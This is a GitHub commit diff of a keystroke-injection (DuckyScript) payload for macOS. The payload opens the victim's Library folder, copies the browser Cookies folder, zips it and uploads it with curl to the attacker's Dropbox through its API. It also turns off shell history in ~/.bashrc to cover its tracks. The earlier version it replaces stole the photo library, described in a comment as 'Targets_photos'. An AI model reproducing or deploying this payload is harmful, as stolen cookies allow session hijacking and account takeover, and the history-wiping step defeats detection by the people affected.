Update Cookies to Dropbox.txt

This commit is contained in:
Narsty
2023-06-21 17:05:11 -05:00
committed by GitHub
parent e7b7fa2f63
commit 22ace2ca4a
+6 -6
View File
@@ -1,14 +1,14 @@
REM This Script will copy the Photos library folder and send them to your dropbox API
REM This Script will copy the Cookies folder and send them to your dropbox API
REM Replace '<SYSTEM USERNAME HERE>' with the systems actual username
REM Replace '<YOUR API KEY HERE>' with your actual Dropbox API key
REM Here's the breakdown, we navigate to the finder
REM use the Shift GUI G to open up the "go to folder" menu.
REM Then we search for & open the photos folder.
REM Now we can type "li" to navigate to the library folder that contains the photos
REM Then we search for & open the library folder.
REM Now we can type "cook" to navigate to the cookies folder
REM we copy it and navigate to a new window to paste the folder
REM Then we zip the folder and rename it "Targets_photos" and send it to the dropbox
REM Then we zip the folder and send it to the dropbox
REM Using the nohup and & to make sure the code is executed
REM Requirements Must have at least two windows open
@@ -31,7 +31,7 @@ ENTER
DELAY 2000
GUI-SHIFT g
DELAY 1000
STRING /Users//Library
STRING /Users/<SYSTEM USERNAME HERE>/Library
DELAY 500
ENTER
DELAY 1000
@@ -55,7 +55,7 @@ STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc &&
DELAY 500
ENTER
DELAY 500
STRING echo 'cd ~/Desktop && zip -r cookies.zip cookies && curl -X POST https://content.dropboxapi.com/2/files/upload -H "Authorization: Bearer " -H "Dropbox-API-Arg: {\"path\": \"/cookies.zip\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary @cookies.zip' > upload.sh
STRING echo 'cd ~/Desktop && zip -r cookies.zip cookies && curl -X POST https://content.dropboxapi.com/2/files/upload -H "Authorization: Bearer <YOUR API KEY HERE>" -H "Dropbox-API-Arg: {\"path\": \"/cookies.zip\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary @cookies.zip' > upload.sh
DELAY 1000
ENTER
DELAY 2000